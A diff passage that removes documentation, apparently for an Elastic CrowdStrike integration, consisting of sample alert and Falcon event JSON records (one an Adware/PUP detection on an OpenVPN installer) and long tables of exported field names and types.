-        "hostname": "ABC709-1175",
-        "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-        "ip": [
-            "81.2.69.142"
-        ],
-        "mac": [
-            "AB-21-48-61-05-B2"
-        ],
-        "os": {
-            "full": "Windows11",
-            "platform": "Windows",
-            "type": "windows"
-        }
-    },
-    "input": {
-        "type": "cel"
-    },
-    "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
-    "process": {
-        "end": "2023-11-03T18:00:21.000Z",
-        "entity_id": "399748687993",
-        "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-        "hash": {
-            "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
-            "sha1": "0000000000000000000000000000000000000000",
-            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
-        },
-        "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-        "parent": {
-            "command_line": "C:\\WINDOWS\\Explorer.EXE",
-            "entity_id": "392736520876",
-            "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
-            "hash": {
-                "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
-                "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4"
-            },
-            "name": "explorer.exe",
-            "pid": 392736520876
-        },
-        "pid": 399748687993,
-        "start": "2023-11-03T18:00:13.000Z",
-        "user": {
-            "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-            "name": "mohit.jha"
-        }
-    },
-    "related": {
-        "hash": [
-            "b07f77fd3f9828b2c9d61f8a36609741",
-            "cdf9cfebb400ce89d5b6032bfcdc693b",
-            "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-            "8cc3fcdd7d52d2d5221303c213e044ae",
-            "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
-            "0000000000000000000000000000000000000000"
-        ],
-        "hosts": [
-            "ABC.LOCAL",
-            "ABC709-1175"
-        ],
-        "ip": [
-            "81.2.69.142"
-        ],
-        "user": [
-            "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
-            "S-1-5-21-1909377054-3469629671-4104191496-4425",
-            "yuvraj.mahajan",
-            "mohit.jha"
-        ]
-    },
-    "tags": [
-        "preserve_original_event",
-        "preserve_duplicate_custom_fields",
-        "forwarded",
-        "crowdstrike-alert"
-    ],
-    "threat": {
-        "framework": "CrowdStrike Falcon Detections Framework",
-        "tactic": {
-            "id": [
-                "CSTA0004"
-            ],
-            "name": [
-                "MachineLearning"
-            ]
-        },
-        "technique": {
-            "id": [
-                "CST0000"
-            ],
-            "name": [
-                "Adware/PUP"
-            ]
-        }
-    },
-    "user": {
-        "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-        "name": "mohit.jha"
-    }
-}
-```
-
-**Exported fields**
-
-| Field | Description | Type |
-|---|---|---|
-| @timestamp | Event timestamp. | date |
-| crowdstrike.alert.active_directory_authentication_method |  | long |
-| crowdstrike.alert.activity.browser |  | keyword |
-| crowdstrike.alert.activity.device |  | keyword |
-| crowdstrike.alert.activity.id |  | keyword |
-| crowdstrike.alert.activity.os |  | keyword |
-| crowdstrike.alert.agent_id |  | keyword |
-| crowdstrike.alert.agent_scan_id |  | keyword |
-| crowdstrike.alert.aggregate_id |  | keyword |
-| crowdstrike.alert.alert_attributes |  | long |
-| crowdstrike.alert.alleged_filetype |  | keyword |
-| crowdstrike.alert.assigned_to.name |  | keyword |
-| crowdstrike.alert.assigned_to.uid |  | keyword |
-| crowdstrike.alert.assigned_to.uuid |  | keyword |
-| crowdstrike.alert.associated_files.filepath |  | keyword |
-| crowdstrike.alert.associated_files.sha256 |  | keyword |
-| crowdstrike.alert.child_process_ids |  | keyword |
-| crowdstrike.alert.cid |  | keyword |
-| crowdstrike.alert.cloud_indicator |  | boolean |
-| crowdstrike.alert.cmdline |  | keyword |
-| crowdstrike.alert.command_line |  | keyword |
-| crowdstrike.alert.comment |  | keyword |
-| crowdstrike.alert.composite_id |  | keyword |
-| crowdstrike.alert.confidence |  | long |
-| crowdstrike.alert.context_timestamp |  | date |
-| crowdstrike.alert.control_graph_id |  | keyword |
-| crowdstrike.alert.crawl_edge_ids.Sensor |  | keyword |
-| crowdstrike.alert.crawl_vertex_ids.Sensor |  | keyword |
-| crowdstrike.alert.crawled_timestamp |  | date |
-| crowdstrike.alert.created_timestamp |  | date |
-| crowdstrike.alert.data_domains |  | keyword |
-| crowdstrike.alert.description |  | keyword |
-| crowdstrike.alert.detect_type |  | keyword |
-| crowdstrike.alert.device.agent_load_flags |  | long |
-| crowdstrike.alert.device.agent_local_time |  | date |
-| crowdstrike.alert.device.agent_version |  | keyword |
-| crowdstrike.alert.device.bios_manufacturer |  | keyword |
-| crowdstrike.alert.device.bios_version |  | keyword |
-| crowdstrike.alert.device.cid |  | keyword |
-| crowdstrike.alert.device.config_id_base |  | keyword |
-| crowdstrike.alert.device.config_id_build |  | keyword |
-| crowdstrike.alert.device.config_id_platform |  | long |
-| crowdstrike.alert.device.external_ip |  | ip |
-| crowdstrike.alert.device.first_seen |  | date |
-| crowdstrike.alert.device.groups |  | keyword |
-| crowdstrike.alert.device.hostinfo.active_directory_dn_display |  | keyword |
-| crowdstrike.alert.device.hostinfo.domain |  | keyword |
-| crowdstrike.alert.device.hostname |  | keyword |
-| crowdstrike.alert.device.id |  | keyword |
-| crowdstrike.alert.device.last_seen |  | date |
-| crowdstrike.alert.device.local_ip |  | ip |
-| crowdstrike.alert.device.mac_address |  | keyword |
-| crowdstrike.alert.device.machine_domain |  | keyword |
-| crowdstrike.alert.device.major_version |  | keyword |
-| crowdstrike.alert.device.minor_version |  | keyword |
-| crowdstrike.alert.device.modified_timestamp |  | date |
-| crowdstrike.alert.device.os_version |  | keyword |
-| crowdstrike.alert.device.ou |  | keyword |
-| crowdstrike.alert.device.platform_id |  | keyword |
-| crowdstrike.alert.device.platform_name |  | keyword |
-| crowdstrike.alert.device.pod_labels |  | keyword |
-| crowdstrike.alert.device.product_type |  | keyword |
-| crowdstrike.alert.device.product_type_desc |  | keyword |
-| crowdstrike.alert.device.site_name |  | keyword |
-| crowdstrike.alert.device.status |  | keyword |
-| crowdstrike.alert.device.system_manufacturer |  | keyword |
-| crowdstrike.alert.device.system_product_name |  | keyword |
-| crowdstrike.alert.device.tags |  | keyword |
-| crowdstrike.alert.display_name |  | keyword |
-| crowdstrike.alert.documents_accessed.filename |  | keyword |
-| crowdstrike.alert.documents_accessed.filepath |  | keyword |
-| crowdstrike.alert.documents_accessed.timestamp |  | date |
-| crowdstrike.alert.email_sent |  | boolean |
-| crowdstrike.alert.end_time |  | date |
-| crowdstrike.alert.event_id |  | keyword |
-| crowdstrike.alert.executables_written.filename |  | keyword |
-| crowdstrike.alert.executables_written.filepath |  | keyword |
-| crowdstrike.alert.executables_written.timestamp |  | date |
-| crowdstrike.alert.falcon_host_link |  | keyword |
-| crowdstrike.alert.file_writes.name |  | keyword |
-| crowdstrike.alert.file_writes.sha256 |  | keyword |
-| crowdstrike.alert.filename |  | keyword |
-| crowdstrike.alert.filepath |  | keyword |
-| crowdstrike.alert.files_accessed.filename |  | keyword |
-| crowdstrike.alert.files_accessed.filepath |  | keyword |
-| crowdstrike.alert.files_accessed.timestamp |  | date |
-| crowdstrike.alert.files_written.filename |  | keyword |
-| crowdstrike.alert.files_written.filepath |  | keyword |
-| crowdstrike.alert.files_written.timestamp |  | date |
-| crowdstrike.alert.global_prevalence |  | keyword |
-| crowdstrike.alert.grandparent_details.cmdline |  | keyword |
-| crowdstrike.alert.grandparent_details.filename |  | keyword |
-| crowdstrike.alert.grandparent_details.filepath |  | keyword |
-| crowdstrike.alert.grandparent_details.local_process_id |  | keyword |
-| crowdstrike.alert.grandparent_details.md5 |  | keyword |
-| crowdstrike.alert.grandparent_details.process_graph_id |  | keyword |
-| crowdstrike.alert.grandparent_details.process_id |  | keyword |
-| crowdstrike.alert.grandparent_details.sha256 |  | keyword |
-| crowdstrike.alert.grandparent_details.timestamp |  | date |
-| crowdstrike.alert.grandparent_details.user_graph_id |  | keyword |
-| crowdstrike.alert.grandparent_details.user_id |  | keyword |
-| crowdstrike.alert.grandparent_details.user_name |  | keyword |
-| crowdstrike.alert.has_script_or_module_ioc |  | boolean |
-| crowdstrike.alert.host_name |  | keyword |
-| crowdstrike.alert.host_type |  | keyword |
-| crowdstrike.alert.id |  | keyword |
-| crowdstrike.alert.idp_policy.enforced_externally |  | long |
-| crowdstrike.alert.idp_policy.mfa_factor_type |  | long |
-| crowdstrike.alert.idp_policy.mfa_provider |  | long |
-| crowdstrike.alert.idp_policy.rule_action |  | long |
-| crowdstrike.alert.idp_policy.rule_id |  | keyword |
-| crowdstrike.alert.idp_policy.rule_name |  | keyword |
-| crowdstrike.alert.idp_policy.rule_trigger |  | long |
-| crowdstrike.alert.image_file_name |  | keyword |
-| crowdstrike.alert.incident.created |  | date |
-| crowdstrike.alert.incident.end |  | date |
-| crowdstrike.alert.incident.id |  | keyword |
-| crowdstrike.alert.incident.score |  | double |
-| crowdstrike.alert.incident.start |  | date |
-| crowdstrike.alert.indicator_id |  | keyword |
-| crowdstrike.alert.ioc_context.cmdline |  | keyword |
-| crowdstrike.alert.ioc_context.ioc_description |  | keyword |
-| crowdstrike.alert.ioc_context.ioc_source |  | keyword |
-| crowdstrike.alert.ioc_context.ioc_type |  | keyword |
-| crowdstrike.alert.ioc_context.ioc_value |  | keyword |
-| crowdstrike.alert.ioc_context.md5 |  | keyword |
-| crowdstrike.alert.ioc_context.sha256 |  | keyword |
-| crowdstrike.alert.ioc_context.type |  | keyword |
-| crowdstrike.alert.ioc_description |  | keyword |
-| crowdstrike.alert.ioc_source |  | keyword |
-| crowdstrike.alert.ioc_type |  | keyword |
-| crowdstrike.alert.ioc_value |  | keyword |
-| crowdstrike.alert.ioc_values |  | keyword |
-| crowdstrike.alert.is_synthetic_quarantine_disposition |  | boolean |
-| crowdstrike.alert.ldap_search_query_attack |  | long |
-| crowdstrike.alert.local_prevalence |  | keyword |
-| crowdstrike.alert.local_process_id |  | keyword |
-| crowdstrike.alert.location_country_code |  | keyword |
-| crowdstrike.alert.location_latitude_as_int |  | long |
-| crowdstrike.alert.location_longitude_as_int |  | long |
-| crowdstrike.alert.logon_domain |  | keyword |
-| crowdstrike.alert.md5 |  | keyword |
-| crowdstrike.alert.mitre_attack.pattern_id |  | keyword |
-| crowdstrike.alert.mitre_attack.tactic |  | keyword |
-| crowdstrike.alert.mitre_attack.tactic_id |  | keyword |
-| crowdstrike.alert.mitre_attack.technique |  | keyword |
-| crowdstrike.alert.mitre_attack.technique_id |  | keyword |
-| crowdstrike.alert.model_anomaly_indicators |  | keyword |
-| crowdstrike.alert.name |  | keyword |
-| crowdstrike.alert.network_accesses.access_timestamp |  | date |
-| crowdstrike.alert.network_accesses.access_type |  | long |
-| crowdstrike.alert.network_accesses.connection_direction |  | keyword |
-| crowdstrike.alert.network_accesses.isIPV6 |  | boolean |
-| crowdstrike.alert.network_accesses.local_address |  | ip |
-| crowdstrike.alert.network_accesses.local_port |  | long |
-| crowdstrike.alert.network_accesses.protocol |  | keyword |
-| crowdstrike.alert.network_accesses.remote_address |  | ip |
-| crowdstrike.alert.network_accesses.remote_port |  | long |
-| crowdstrike.alert.objective |  | keyword |
-| crowdstrike.alert.operating_system |  | keyword |
-| crowdstrike.alert.os_name |  | keyword |
-| crowdstrike.alert.overwatch_note |  | keyword |
-| crowdstrike.alert.overwatch_note_timestamp |  | date |
-| crowdstrike.alert.parent_details.cmdline |  | keyword |
-| crowdstrike.alert.parent_details.filename |  | keyword |
-| crowdstrike.alert.parent_details.filepath |  | keyword |
-| crowdstrike.alert.parent_details.local_process_id |  | keyword |
-| crowdstrike.alert.parent_details.md5 |  | keyword |
-| crowdstrike.alert.parent_details.process_graph_id |  | keyword |
-| crowdstrike.alert.parent_details.process_id |  | keyword |
-| crowdstrike.alert.parent_details.sha256 |  | keyword |
-| crowdstrike.alert.parent_details.timestamp |  | date |
-| crowdstrike.alert.parent_details.user_graph_id |  | keyword |
-| crowdstrike.alert.parent_details.user_id |  | keyword |
-| crowdstrike.alert.parent_details.user_name |  | keyword |
-| crowdstrike.alert.parent_process_id |  | keyword |
-| crowdstrike.alert.pattern_disposition |  | long |
-| crowdstrike.alert.pattern_disposition_description |  | keyword |
-| crowdstrike.alert.pattern_disposition_details.blocking_unsupported_or_disabled |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.bootup_safeguard_enabled |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.containment_file_system |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.critical_process_disabled |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.detect |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.fs_operation_blocked |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.handle_operation_downgraded |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.inddet_mask |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.indicator |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.kill_action_failed |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.kill_parent |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.kill_process |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.kill_subprocess |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.mfa_required |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.operation_blocked |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.policy_disabled |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.prevention_provisioning_enabled |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.process_blocked |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.quarantine_file |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.quarantine_machine |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.registry_operation_blocked |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.response_action_already_applied |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.response_action_failed |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.response_action_triggered |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.rooting |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.sensor_only |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.suspend_parent |  | boolean |
-| crowdstrike.alert.pattern_disposition_details.suspend_process |  | boolean |
-| crowdstrike.alert.pattern_id |  | keyword |
-| crowdstrike.alert.platform |  | keyword |
-| crowdstrike.alert.poly_id |  | keyword |
-| crowdstrike.alert.prevented |  | boolean |
-| crowdstrike.alert.process_end_time |  | date |
-| crowdstrike.alert.process_id |  | keyword |
-| crowdstrike.alert.process_start_time |  | date |
-| crowdstrike.alert.product |  | keyword |
-| crowdstrike.alert.protocol_anomaly_classification |  | long |
-| crowdstrike.alert.quarantined |  | boolean |
-| crowdstrike.alert.quarantined_files.filename |  | keyword |
-| crowdstrike.alert.quarantined_files.id |  | keyword |
-| crowdstrike.alert.quarantined_files.sha256 |  | keyword |
-| crowdstrike.alert.quarantined_files.state |  | keyword |
-| crowdstrike.alert.rule_group_id |  | keyword |
-| crowdstrike.alert.rule_group_name |  | keyword |
-| crowdstrike.alert.rule_instance_created_by |  | keyword |
-| crowdstrike.alert.rule_instance_id |  | keyword |
-| crowdstrike.alert.rule_instance_name |  | keyword |
-| crowdstrike.alert.rule_instance_version |  | keyword |
-| crowdstrike.alert.scan_id |  | keyword |
-| crowdstrike.alert.scenario |  | keyword |
-| crowdstrike.alert.seconds_to_resolved |  | long |
-| crowdstrike.alert.seconds_to_triaged |  | long |
-| crowdstrike.alert.severity |  | long |
-| crowdstrike.alert.severity_name |  | keyword |
-| crowdstrike.alert.sha1 |  | keyword |
-| crowdstrike.alert.sha256 |  | keyword |
-| crowdstrike.alert.show_in_ui |  | boolean |
-| crowdstrike.alert.source.account_azure_id |  | keyword |
-| crowdstrike.alert.source.account_domain |  | keyword |
-| crowdstrike.alert.source.account_name |  | keyword |
-| crowdstrike.alert.source.account_object_guid |  | keyword |
-| crowdstrike.alert.source.account_object_sid |  | keyword |
-| crowdstrike.alert.source.account_sam_account_name |  | keyword |
-| crowdstrike.alert.source.account_upn |  | keyword |
-| crowdstrike.alert.source.endpoint_account_object_guid |  | keyword |
-| crowdstrike.alert.source.endpoint_account_object_sid |  | keyword |
-| crowdstrike.alert.source.endpoint_address_ip4 |  | ip |
-| crowdstrike.alert.source.endpoint_host_name |  | keyword |
-| crowdstrike.alert.source.endpoint_ip_address |  | ip |
-| crowdstrike.alert.source.endpoint_ip_reputation |  | long |
-| crowdstrike.alert.source.endpoint_sensor_id |  | keyword |
-| crowdstrike.alert.source.ip_isp_classification |  | long |
-| crowdstrike.alert.source.ip_isp_domain |  | keyword |
-| crowdstrike.alert.source_products |  | keyword |
-| crowdstrike.alert.source_vendors |  | keyword |
-| crowdstrike.alert.start_time |  | date |
-| crowdstrike.alert.status |  | keyword |
-| crowdstrike.alert.tactic |  | keyword |
-| crowdstrike.alert.tactic_id |  | keyword |
-| crowdstrike.alert.tags |  | keyword |
-| crowdstrike.alert.target.account_name |  | keyword |
-| crowdstrike.alert.target.domain_controller_host_name |  | keyword |
-| crowdstrike.alert.target.domain_controller_object_guid |  | keyword |
-| crowdstrike.alert.target.domain_controller_object_sid |  | keyword |
-| crowdstrike.alert.target.endpoint_account_object_guid |  | keyword |
-| crowdstrike.alert.target.endpoint_account_object_sid |  | keyword |
-| crowdstrike.alert.target.endpoint_host_name |  | keyword |
-| crowdstrike.alert.target.endpoint_sensor_id |  | keyword |
-| crowdstrike.alert.target.service_access_identifier |  | keyword |
-| crowdstrike.alert.technique |  | keyword |
-| crowdstrike.alert.technique_id |  | keyword |
-| crowdstrike.alert.template_instance_id |  | keyword |
-| crowdstrike.alert.timestamp |  | date |
-| crowdstrike.alert.tree_id |  | keyword |
-| crowdstrike.alert.tree_root |  | keyword |
-| crowdstrike.alert.triggering_process_graph_id |  | keyword |
-| crowdstrike.alert.type |  | keyword |
-| crowdstrike.alert.updated_timestamp |  | date |
-| crowdstrike.alert.user_id |  | keyword |
-| crowdstrike.alert.user_name |  | keyword |
-| crowdstrike.alert.user_principal |  | keyword |
-| crowdstrike.alert.worker_node_name |  | keyword |
-| data_stream.dataset | Data stream dataset. | constant_keyword |
-| data_stream.namespace | Data stream namespace. | constant_keyword |
-| data_stream.type | Data stream type. | constant_keyword |
-| event.dataset | Event dataset. | constant_keyword |
-| event.module | Event module. | constant_keyword |
-| input.type | Type of filebeat input. | keyword |
-| log.offset | Log offset. | long |
-| tags | List of keywords used to tag each event. | keyword |
-| threat.framework | Name of the threat framework used to further categorize and classify the tactic and technique of the reported threat. Framework classification can be provided by detecting systems, evaluated at ingest time, or retrospectively tagged to events. | keyword |
-| threat.tactic.id | The id of tactic used by this threat. You can use a MITRE ATT&CK® tactic, for example. (ex. https://attack.mitre.org/tactics/TA0002/ ) | keyword |
-| threat.technique.id | The id of technique used by this threat. You can use a MITRE ATT&CK® technique, for example. (ex. https://attack.mitre.org/techniques/T1059/) | keyword |
-
-
-### Falcon
-
-This is the `falcon` dataset.
-
-#### Example 
-
-An example event for `falcon` looks as following:
-
-```json
-{
-    "@timestamp": "2023-11-02T13:41:34.000Z",
-    "agent": {
-        "ephemeral_id": "8f4a039c-66d4-439c-a43f-c5a95f653dd4",
-        "id": "67072e92-576d-47d8-8a43-ebb347b4250b",
-        "name": "elastic-agent-93422",
-        "type": "filebeat",
-        "version": "8.18.1"
-    },
-    "crowdstrike": {
-        "event": {
-            "AgentIdString": "fffffffff33333",
-            "SessionId": "1111-fffff-4bb4-99c1-74c13cfc3e5a"
-        },
-        "metadata": {
-            "customerIDString": "abcabcabc22221",
-            "eventType": "RemoteResponseSessionStartEvent",
-            "offset": 1,
-            "version": "1.0"
-        }
-    },
-    "data_stream": {
-        "dataset": "crowdstrike.falcon",
-        "namespace": "99576",
-        "type": "logs"
-    },
-    "ecs": {
-        "version": "8.17.0"
-    },
-    "elastic_agent": {
-        "id": "67072e92-576d-47d8-8a43-ebb347b4250b",
-        "snapshot": false,
-        "version": "8.18.1"
-    },
-    "event": {
-        "action": [
-            "remote_response_session_start_event"
-        ],
-        "agent_id_status": "verified",
-        "category": [
-            "network",
-            "session"
-        ],
-        "created": "2023-11-02T13:41:34.000Z",
-        "dataset": "crowdstrike.falcon",
-        "ingested": "2025-05-30T08:29:21Z",
-        "kind": "event",
-        "original": "{\"event\":{\"AgentIdString\":\"fffffffff33333\",\"HostnameField\":\"UKCHUDL00206\",\"SessionId\":\"1111-fffff-4bb4-99c1-74c13cfc3e5a\",\"StartTimestamp\":1698932494,\"UserName\":\"admin.rose@example.com\"},\"metadata\":{\"customerIDString\":\"abcabcabc22221\",\"eventCreationTime\":1698932494000,\"eventType\":\"RemoteResponseSessionStartEvent\",\"offset\":1,\"version\":\"1.0\"}}",
-        "start": "2023-11-02T13:41:34.000Z",
-        "type": [
-            "start"
-        ]
-    },
-    "host": {
-        "name": "UKCHUDL00206"
-    },
-    "input": {
-        "type": "streaming"
-    },
-    "message": "Remote response session started.",
-    "observer": {
-        "product": "Falcon",
-        "vendor": "Crowdstrike"
-    },
-    "related": {
-        "hosts": [
-            "UKCHUDL00206"
-        ],
-        "user": [
-            "admin.rose",
-            "admin.rose@example.com"
-        ]
-    },
-    "tags": [
-        "preserve_original_event",
-        "forwarded",
-        "crowdstrike-falcon"
-    ],
-    "user": {
-        "domain": "example.com",
-        "email": "admin.rose@example.com",
-        "name": "admin.rose"
-    }
-}
-```
-
-**Exported fields**
-
-| Field | Description | Type |
-|---|---|---|
-| @timestamp | Event timestamp. | date |
-| agent.id | Unique identifier of this agent (if one exists). Example: For Beats this would be beat.id. | keyword |
-| agent.name | Custom name of the agent. This is a name that can be given to an agent. This can be helpful if for example two Filebeat instances are running on the same host but a human readable separation is needed on which Filebeat instance data is coming from. | keyword |
-| agent.type | Type of the agent. The agent type always stays the same and should be given by the agent used. In case of Filebeat the agent would always be Filebeat also if two Filebeat instances are run on the same machine. | keyword |
-| agent.version | Version of the agent. | keyword |
-| cloud.image.id | Image ID for the cloud instance. | keyword |
-| crowdstrike.event.AccountCreationTimeStamp | The timestamp of when the source account was created in Active Directory. | date |
-| crowdstrike.event.AccountId |  | keyword |
-| crowdstrike.event.ActivityId | ID of the activity that triggered the detection. | keyword |
-| crowdstrike.event.AddedPrivilege | The difference between their current and previous list of privileges. | keyword |
-| crowdstrike.event.AdditionalAccountObjectGuid | Additional involved user object GUID. | keyword |
-| crowdstrike.event.AdditionalAccountObjectSid | Additional involved user object SID. | keyword |
-| crowdstrike.event.AdditionalAccountUpn | Additional involved user UPN. | keyword |
-| crowdstrike.event.AdditionalActivityId | ID of an additional activity related to the detection. | keyword |
-| crowdstrike.event.AdditionalEndpointAccountObjectGuid | Additional involved endpoint object GUID. | keyword |
-| crowdstrike.event.AdditionalEndpointAccountObjectSid | Additional involved endpoint object SID. | keyword |
-| crowdstrike.event.AdditionalEndpointSensorId | Additional involved endpoint agent ID. | keyword |
-| crowdstrike.event.AdditionalLocationCountryCode | Additional involved country code. | keyword |
-| crowdstrike.event.AdditionalSsoApplicationIdentifier | Additional application identifier. | keyword |
-| crowdstrike.event.AgentId |  | keyword |
-| crowdstrike.event.AgentIdString |  | keyword |
-| crowdstrike.event.AggregateId |  | keyword |
-| crowdstrike.event.AnodeIndicators |  | nested |
-| crowdstrike.event.AnomalousTicketContentClassification | Ticket signature analysis. | keyword |
-| crowdstrike.event.AssociatedFile | The file associated with the triggering indicator. | keyword |
-| crowdstrike.event.Attributes | JSON objects containing additional information about the event. | flattened |
-| crowdstrike.event.AuditKeyValues | Fields that were changed in this event. | nested |
-| crowdstrike.event.AuditKeyValues.Key |  | keyword |
-| crowdstrike.event.AuditKeyValues.ValueString |  | keyword |
-| crowdstrike.event.Category | IDP incident category. | keyword |
-| crowdstrike.event.CertificateTemplateIdentifier | The ID of the certificate template. | keyword |
-| crowdstrike.event.CertificateTemplateName | Name of the certificate template. | keyword |
-| crowdstrike.event.Certificates | Provides one or more JSON objects which includes related SSL/TLS Certificates. | nested |
-| crowdstrike.event.CloudPlatform |  | keyword |
-| crowdstrike.event.CloudProvider |  | keyword |
-| crowdstrike.event.CloudService |  | keyword |
-| crowdstrike.event.Commands | Commands run in a remote session. | keyword |
-| crowdstrike.event.CompositeId | Global unique identifier that identifies a unique alert. | keyword |
-| crowdstrike.event.ComputerName | Name of the computer where the detection occurred. | keyword |
-| crowdstrike.event.ContentPatternCounts |  | nested |
-| crowdstrike.event.ContentPatterns.ConfidenceLevel |  | long |
-| crowdstrike.event.ContentPatterns.ID |  | keyword |
-| crowdstrike.event.ContentPatterns.MatchCount |  | long |
-| crowdstrike.event.ContentPatterns.Name |  | keyword |
-| crowdstrike.event.CustomerId | Customer identifier. | keyword |
-| crowdstrike.event.DataDomains | Data domains of the event that was the primary indicator or created it. | keyword |
-| crowdstrike.event.Description |  | keyword |
-| crowdstrike.event.Destination |  | nested |
-| crowdstrike.event.Destination.Channel |  | keyword |
-| crowdstrike.event.DetectId | Unique ID associated with the detection. | keyword |
-| crowdstrike.event.DetectName | Name of the detection. | keyword |
-| crowdstrike.event.DetectionType |  | keyword |
-| crowdstrike.event.DeviceId | Device on which the event occurred. | keyword |
-| crowdstrike.event.DnsRequests | Detected DNS requests done by a process. | nested |
-| crowdstrike.event.DocumentsAccessed | Detected documents accessed by a process. | nested |
-| crowdstrike.event.DomainName |  | keyword |
-| crowdstrike.event.EgressEventId |  | keyword |
-| crowdstrike.event.EgressSessionId |  | keyword |
-| crowdstrike.event.EmailAddresses | Summary list of all associated entity email addresses. | keyword |
-| crowdstrike.event.EnvironmentVariables | Provides one or more JSON objects which includes related environment variables. | nested |
-| crowdstrike.event.EventTimestamp |  | date |
-| crowdstrike.event.EventType | CrowdStrike provided event type. | keyword |
-| crowdstrike.event.ExecutablesWritten | Detected executables written to disk by a process. | nested |
-| crowdstrike.event.ExecutablesWritten.FileName |  | keyword |
-| crowdstrike.event.ExecutablesWritten.FilePath |  | keyword |
-| crowdstrike.event.ExecutablesWritten.Timestamp |  | keyword |
-| crowdstrike.event.ExecutionID |  | keyword |
-| crowdstrike.event.ExecutionMetadata.ExecutionDuration |  | long |
-| crowdstrike.event.ExecutionMetadata.ExecutionStart |  | date |
-| crowdstrike.event.ExecutionMetadata.ReportFileName |  | keyword |
-| crowdstrike.event.ExecutionMetadata.ResultCount |  | long |
-| crowdstrike.event.ExecutionMetadata.ResultID |  | keyword |
-| crowdstrike.event.ExecutionMetadata.SearchWindowEnd |  | date |
-| crowdstrike.event.ExecutionMetadata.SearchWindowStart |  | date |
-| crowdstrike.event.FalconHostLink |  | keyword |
-| crowdstrike.event.FileCategoryCounts |  | nested |
-| crowdstrike.event.FileName |  | keyword |
-| crowdstrike.event.FilePath |  | keyword |
-| crowdstrike.event.FileType.Type.CategoryID |  | keyword |
-| crowdstrike.event.FileType.Type.CategoryName |  | keyword |
-| crowdstrike.event.FileType.Type.Description |  | keyword |
-| crowdstrike.event.FileType.Type.ID |  | keyword |
-| crowdstrike.event.FileType.Type.Name |  | keyword |
-| crowdstrike.event.FilesAccessed.FileName |  | keyword |
-| crowdstrike.event.FilesAccessed.FilePath |  | keyword |
-| crowdstrike.event.FilesAccessed.Timestamp |  | date |
-| crowdstrike.event.FilesEgressedCount |  | long |
-| crowdstrike.event.FilesWritten.FileName |  | keyword |
-| crowdstrike.event.FilesWritten.FilePath |  | keyword |
-| crowdstrike.event.FilesWritten.Timestamp |  | date |
-| crowdstrike.event.Finding | The details of the finding. | keyword |
-| crowdstrike.event.FineScore | The highest incident score reached as of the time the event was sent. | float |
-| crowdstrike.event.Flags.Audit | CrowdStrike audit flag. | boolean |
-| crowdstrike.event.Flags.Log | CrowdStrike log flag. | boolean |
-| crowdstrike.event.Flags.Monitor | CrowdStrike monitor flag. | boolean |
-| crowdstrike.event.GrandParentCommandLine |  | keyword |
-| crowdstrike.event.GrandParentImageFileName |  | keyword |
-| crowdstrike.event.GrandParentImageFilePath |  | keyword |
-| crowdstrike.event.GrandparentCommandLine | Grandparent process command line arguments. | keyword |
-| crowdstrike.event.GrandparentImageFileName | Path to the grandparent process. | keyword |
-| crowdstrike.event.GrandparentImageFilePath |  | keyword |
-| crowdstrike.event.Highlights | Sections of content that matched the monitoring rule. | text |
-| crowdstrike.event.HostGroups | Array of related Host Group IDs. | keyword |
-| crowdstrike.event.Hostname |  | keyword |
-| crowdstrike.event.ICMPCode | RFC2780 ICMP Code field. | keyword |
-| crowdstrike.event.ICMPType | RFC2780 ICMP Type field. | keyword |
-| crowdstrike.event.IOARuleGroupName |  | keyword |
-| crowdstrike.event.IOARuleInstanceID |  | keyword |
-| crowdstrike.event.IOARuleInstanceVersion | Version number of the InstanceID that triggered. | long |
-| crowdstrike.event.IOARuleName | Name given to the custom IOA rule that triggered. | keyword |
-| crowdstrike.event.IOCType | CrowdStrike type for indicator of compromise. | keyword |
-| crowdstrike.event.IOCValue | CrowdStrike value for indicator of compromise. | keyword |
-| crowdstrike.event.IPv4 |  | ip |
-| crowdstrike.event.IPv6 |  | ip |
